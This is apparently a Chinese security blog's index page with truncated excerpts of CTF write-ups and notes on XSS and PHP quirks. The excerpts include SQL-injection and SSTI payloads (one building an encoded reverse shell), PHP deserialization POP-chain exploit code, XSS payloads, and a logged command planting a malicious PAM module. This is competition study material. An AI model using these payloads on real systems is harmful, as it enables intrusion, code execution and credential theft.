2022 StarCTF
weboh-my-grafanaCVE-2021-43798 读取文件 + mysql 获取 flag,很简单的一道题目,不多说了。
oh-my-notepro/view?note_id= 路由存在 sql 注入,database 里没有信息,但是可以报错得到 flask error 界面
利用 sql 读文件并伪造 pin 码进行 python 代码执行
写一个一键脚本:
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798import randomimport stringimport requestsimport hashlibfrom itertools import chainurl = "http://192.168.88.200:5002/&qu ...
das月赛合集
Das 月赛合集2022三月Webezpop简单的反序列化,直接给出 exp
12345678910111213141516171819202122232425262728293031323334353637383940<?phpclass crow{ public $v1; public $v2;}class fin{ public $f1;}class what{ public $a;}class mix{ public $m1;}$fin1 = new fin();$what1 = new what();$mix1 = new mix();$crow1 = new crow();$fin1->f1 = $what1;$what1->a = $mix1;$mix1->m1 = $crow1;$fin2 = new fin();$mix2 = new mix();$crow1->v1 = $fin2;$fin2->f1 = $mix2;$m ...
第四届强网拟态WP
Webzerocalc题目给出源码。
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869const express = require("express");const path = require("path");const fs = require("fs");const notevil = require("./notevil"); // patched something...const crypto = require("crypto");const cookieSession = require("cookie-session");const app = express();app.use(express.urlencoded({ exten ...
1st 陇剑杯部分WP
1st 陇剑杯部分WPjwt2.1跟踪 TCP 流可发现 token 为 jwt 认证
2.2用成功拿到 shell 的 token 去 jwt解码网站可以解出来,10087#admin
2.3拿到 shell 的 TCP 流中可以看到是 root 权限。
2.4通过后面的命令可以得到 => 1.c
2.5通过解码创建的 Makefile 文件即可得到 => looter.so
=>
2.6通过后面的命令可以得到 => /etc/pam.d/common-auth
1command=echo%20"auth%20optional%20looter.so">>/etc/pam.d/common-auth
webshell3.1可在 login 得到 => Admin123!@#
3.2在注入 shell 的地方可以看到
但要注意要的是绝对路径,所以要补全 /var/www/html/data/Runtime/Logs/Home/21_08_07.log
3.3就在 3-2 的流里可以看到 => www-d ...
第二届祥云杯部分WP
Webezyiiyii 的 pop链子,先贴poc:
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576<?phpnamespace Codeception\Extension { use Faker\DefaultGenerator; use GuzzleHttp\Psr7\AppendStream; class RunProcess { protected $output; private $processes = []; public function __construct() { $this->processes[] = new DefaultGenerator(new AppendStream()) ...
prompt(1) to win - XSS靶场练习
prompt(1) to win - XSS靶场练习接触的比赛越多越发觉自己的实力还是太弱了,还是要努力变强。
一直对XSS的理解很模糊,主要还是没做过多少这类的类型题,在谭总那找到个靶场打算开始练练。
开始开始!
序言prompt(1) to win这个在线靶场能够直观的查看自己的XSS代码被过滤后的结果,比较方便练习。
0x0第一关没过滤东西,只需要闭合一下前面的\"就行了。
"><script>prompt(1)</script>
0x1对于过滤<和>中的内容时,可以使用<BODY标签进行绕过<BODY onload="prompt(1)"
onload 事件在页面载入完成后立即触发。
或者使用<img标签进行绕过<img src=# onerror="prompt(1)"
123<BODY onload="prompt(1)" <img src=# onerror= ...
第五届XMan选拔赛
签到基础题
flag{you_are_great!!!}
easysstissti弹shellssti,主要考点是如何闭合。
测试发现{%print(1)%}成功返回。
__globals__查看当前位置的全部模块,方法和全局变量。
name=%7B%25print((lipsum|attr(“__globals__“)))%25%7D
values()查找可利用模块。
name=%7B%25print((lipsum|attr(“__globals__“)).values()[18].values()[134])%25%7D
利用eval弹shell,使用八进制绕过。
1name=%7B%25print((lipsum|attr("__globals__")).values()[18].values()[134]("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\142\141\163\ ...
CyBRICS2021部分WriteUp
webAd NetWork重定向套娃究极无敌有点烦之重定向套娃,写个脚本让它自己跑算了,用curl会舒服点。
12345678910111213141516171819202122<?php$url = "http://dream.adnetwork-cybrics2021.ctf.su/bit-wait-admit-artist-deal/might-inside-toward-suddenly-watch/rich-outside-arrive/character-possible-easy";while(1) { echo $url . "\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CU ...
PHP特性
各个函数intval()
intval() 函数用于获取变量的整数值。成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。
tips: 数组可以用于得到true。可以识别科学计数法。
in_array()
in_array ( mixed $needle , array $haystack , bool $strict = false ) : bool在大海(haystack)中搜索针( needle),如果找到 needle 则返回 true,否则返回 false。
如未设置strict,则为弱比较。
gettext() / _()在当前域中查找消息。
tips: 唯一一个有别名的函数。
ereg()%00截断漏洞。
preg_match()无法处理数组。
有回溯次数上限,PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre设定了一个回溯次数上限 pcre.backtrack_limit。
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 ...
CISCN2021部分WriteUp
Webeasy_sql用无列名报错注入,猜测有flag表
11') || updatexml(1,concat(0x7e,(select * from(select * from flag a join (select * from flag)b using(no, id))c),0x7e),1) %23
可以爆出最后还有一个7ba99583-2ac3-40df-ac62-109330206d66列名。
直接拿flag
11') || updatexml(1,concat(0x7e,(select `7ba99583-2ac3-40df-ac62-109330206d66` from flag),0x7e),1) %23
easy_source存在备份文件.index.php.swo。
得到可控新建类和类方法。
然后利用php内置的ReflectionMethod类读取user类中的每个函数的注释。
payload在这
?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment
然后改 ...